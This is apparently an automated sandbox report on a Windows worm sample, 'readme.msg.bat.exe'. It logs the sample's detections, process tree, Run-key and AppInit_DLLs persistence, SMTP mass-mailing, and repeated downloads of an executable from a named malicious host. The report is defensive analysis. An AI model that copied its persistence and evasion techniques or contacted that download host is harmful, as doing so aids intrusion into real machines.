Edit tour

Windows Analysis Report
readme.msg.bat.exe

Overview

General Information

Sample name:	readme.msg.bat.exe
Analysis ID:	1579447
MD5:	99b66e501870ce033026d55dc5274ab0
SHA1:	57d7b4f8fc6feb18187a59fcbe01029419f25be3
SHA256:	c0a793e1d786cc30e8e17ab97a0a614dfc6647033fea780d88dc4fea205c2674
Tags:	exeuser-TeamDreier
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to inject threads in other processes

Creates an undocumented autostart registry key

Detected PE file pumping (to bypass AV & sandboxing)

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Tries to detect virtualization through RDTSC time measurements

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Sigma detected: Wow6432Node Windows NT CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

readme.msg.bat.exe (PID: 412 cmdline: "C:\Users\user\Desktop\readme.msg.bat.exe" MD5: 99B66E501870CE033026D55DC5274AB0)

tserv.exe (PID: 5360 cmdline: C:\Windows\tserv.exe s MD5: 99B66E501870CE033026D55DC5274AB0)

notepad.exe (PID: 6204 cmdline: C:\Windows\System32\notepad.exe C:\Users\user\Desktop\A853.tmp MD5: E92D3A824A0578A50D2DD81B5060145F)

tserv.exe (PID: 6160 cmdline: "C:\Windows\tserv.exe" s MD5: 99B66E501870CE033026D55DC5274AB0)

cleanup

Sigma Signatures

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 67.195.204.74, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\tserv.exe, Initiated: true, ProcessId: 5360, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49713

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\tserv.exe s, EventID: 13, EventType: SetValue, Image: C:\Windows\tserv.exe, ProcessId: 5360, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\tserv

Sigma detected: Wow6432Node Windows NT CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: msji449c14b7.dll, EventID: 13, EventType: SetValue, Image: C:\Windows\tserv.exe, ProcessId: 5360, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

Suricata Signatures

ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T12:15:23.706007+0100	2016998	1	A Network Trojan was detected	192.168.2.5	49715	193.166.255.171	80	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T12:15:23.596407+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49707	193.166.255.171	80	TCP
2024-12-22T12:15:45.746409+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49715	193.166.255.171	80	TCP
2024-12-22T12:16:06.527740+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49765	193.166.255.171	80	TCP
2024-12-22T12:16:07.871681+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49769	193.166.255.171	80	TCP
2024-12-22T12:16:28.653581+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49820	193.166.255.171	80	TCP
2024-12-22T12:16:30.012661+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49824	193.166.255.171	80	TCP
2024-12-22T12:16:50.811159+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49874	193.166.255.171	80	TCP
2024-12-22T12:16:52.138080+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49879	193.166.255.171	80	TCP
2024-12-22T12:17:12.935728+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49928	193.166.255.171	80	TCP
2024-12-22T12:17:14.298034+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49934	193.166.255.171	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T12:15:23.596407+0100	2803305	3	Unknown Traffic	192.168.2.5	49707	193.166.255.171	80	TCP
2024-12-22T12:15:45.746409+0100	2803305	3	Unknown Traffic	192.168.2.5	49715	193.166.255.171	80	TCP
2024-12-22T12:16:06.527740+0100	2803305	3	Unknown Traffic	192.168.2.5	49765	193.166.255.171	80	TCP
2024-12-22T12:16:07.871681+0100	2803305	3	Unknown Traffic	192.168.2.5	49769	193.166.255.171	80	TCP
2024-12-22T12:16:28.653581+0100	2803305	3	Unknown Traffic	192.168.2.5	49820	193.166.255.171	80	TCP
2024-12-22T12:16:30.012661+0100	2803305	3	Unknown Traffic	192.168.2.5	49824	193.166.255.171	80	TCP
2024-12-22T12:16:50.811159+0100	2803305	3	Unknown Traffic	192.168.2.5	49874	193.166.255.171	80	TCP
2024-12-22T12:16:52.138080+0100	2803305	3	Unknown Traffic	192.168.2.5	49879	193.166.255.171	80	TCP
2024-12-22T12:17:12.935728+0100	2803305	3	Unknown Traffic	192.168.2.5	49928	193.166.255.171	80	TCP
2024-12-22T12:17:14.298034+0100	2803305	3	Unknown Traffic	192.168.2.5	49934	193.166.255.171	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: readme.msg.bat.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\tserv.exe

Avira: detection malicious, Label: WORM/Stration.C

Multi AV Scanner detection for dropped file

Source: C:\Windows\tserv.exe

ReversingLabs: Detection: 94%

Multi AV Scanner detection for submitted file

Source: readme.msg.bat.exe	Virustotal: Detection: 81%			Perma Link
Source: readme.msg.bat.exe	ReversingLabs: Detection: 94%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 84.2% probability

Machine Learning detection for dropped file

Source: C:\Windows\tserv.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: readme.msg.bat.exe

Joe Sandbox ML: detected

Source: readme.msg.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

0_2_00406360

Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com

Source: Joe Sandbox View	IP Address: 67.195.228.94 67.195.228.94
Source: Joe Sandbox View	IP Address: 193.166.255.171 193.166.255.171
Source: Joe Sandbox View	IP Address: 67.195.228.109 67.195.228.109

Source: Network traffic	Suricata IDS: 2016998 - Severity 1 - ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host) : 192.168.2.5:49715 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49715 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49715 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49707 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49707 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49765 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49765 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49874 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49874 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49820 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49820 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49879 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49879 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49769 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49769 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49928 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49824 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49824 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49934 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49934 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49928 -> 193.166.255.171:80

Source: global traffic	TCP traffic: 192.168.2.5:49713 -> 67.195.204.74:25
Source: global traffic	TCP traffic: 192.168.2.5:49762 -> 67.195.228.94:25
Source: global traffic	TCP traffic: 192.168.2.5:49814 -> 67.195.228.109:25
Source: global traffic	TCP traffic: 192.168.2.5:49922 -> 142.250.141.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49971 -> 142.250.157.26:25

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com
Source: global traffic	HTTP traffic detected: GET /chr/wtb/lt.exe HTTP/1.1Host: www4.cedesunjerinkas.com

Source: global traffic	DNS traffic detected: DNS query: yahoo.com
Source: global traffic	DNS traffic detected: DNS query: www4.cedesunjerinkas.com
Source: global traffic	DNS traffic detected: DNS query: mta6.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: mta7.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: mta5.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: gmail.com
Source: global traffic	DNS traffic detected: DNS query: alt1.gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: alt2.gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: alt3.gmail-smtp-in.l.google.com
Source: global traffic	DNS traffic detected: DNS query: alt4.gmail-smtp-in.l.google.com

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00423D83: QueryDosDeviceA,lstrcpyA,lstrcatA,GetLastError,lstrcpyA,lstrcatA,DefineDosDeviceA,GetLastError,lstrcpyA,lstrcatA,CreateFileA,DeviceIoControl,GetLastError,GetLastError,DefineDosDeviceA,GetLastError,

0_2_00423D83

Source: C:\Users\user\Desktop\readme.msg.bat.exe	File created: C:\Windows\tserv.exe			Jump to behavior
Source: C:\Users\user\Desktop\readme.msg.bat.exe	File created: C:\Windows\tserv.exe\:Zone.Identifier:$DATA			Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00411800	0_2_00411800
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_004108D0	0_2_004108D0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040C8E0	0_2_0040C8E0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040F0E9	0_2_0040F0E9
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00410907	0_2_00410907
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00404110	0_2_00404110
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00409119	0_2_00409119
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040F1C7	0_2_0040F1C7
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040C1D0	0_2_0040C1D0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00404990	0_2_00404990
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_004091A7	0_2_004091A7
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040E246	0_2_0040E246
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00428A08	0_2_00428A08
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00425214	0_2_00425214
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00405310	0_2_00405310
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00408BC0	0_2_00408BC0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00415BD0	0_2_00415BD0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0041B3D0	0_2_0041B3D0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040DBF0	0_2_0040DBF0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0041E3A0	0_2_0041E3A0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00409436	0_2_00409436
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00409CF7	0_2_00409CF7
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0041BD00	0_2_0041BD00
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040EDE0	0_2_0040EDE0
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040DE56	0_2_0040DE56
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0041C660	0_2_0041C660
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00410670	0_2_00410670
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040E676	0_2_0040E676
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00409F47	0_2_00409F47
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040EF78	0_2_0040EF78
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0040FF30	0_2_0040FF30
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_00405F30	0_2_00405F30

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: String function: 0042664C appears 45 times

Source: readme.msg.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.evad.winEXE@6/3@11/7

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_004047A0 lstrcatA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,

0_2_004047A0

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_00405090 GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcatA,GetFileAttributesA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00405090

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_0041E0B0 FindResourceA,LoadResource,SizeofResource,LockResource,CreateFileA,WriteFile,CloseHandle,

0_2_0041E0B0

Source: C:\Users\user\Desktop\readme.msg.bat.exe

File created: C:\Users\user\Desktop\A853.tmp

Jump to behavior

Source: C:\Windows\tserv.exe

Mutant created: NULL

Source: readme.msg.bat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: readme.msg.bat.exe	Virustotal: Detection: 81%
Source: readme.msg.bat.exe	ReversingLabs: Detection: 94%

Source: C:\Users\user\Desktop\readme.msg.bat.exe

File read: C:\Users\user\Desktop\readme.msg.bat.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\readme.msg.bat.exe "C:\Users\user\Desktop\readme.msg.bat.exe"
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\A853.tmp
Source: unknown	Process created: C:\Windows\tserv.exe "C:\Windows\tserv.exe" s
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s	Jump to behavior
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\A853.tmp	Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: efswrt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Windows\SysWOW64\notepad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{11659a23-5884-4d1b-9cf6-67d6f4f90b36}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\readme.msg.bat.exe

Code function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

0_2_0041F660

Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_0042647C push eax; ret	0_2_0042649A
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_004254B0 push eax; ret	0_2_004254C4
Source: C:\Users\user\Desktop\readme.msg.bat.exe	Code function: 0_2_004254B0 push eax; ret	0_2_004254EC
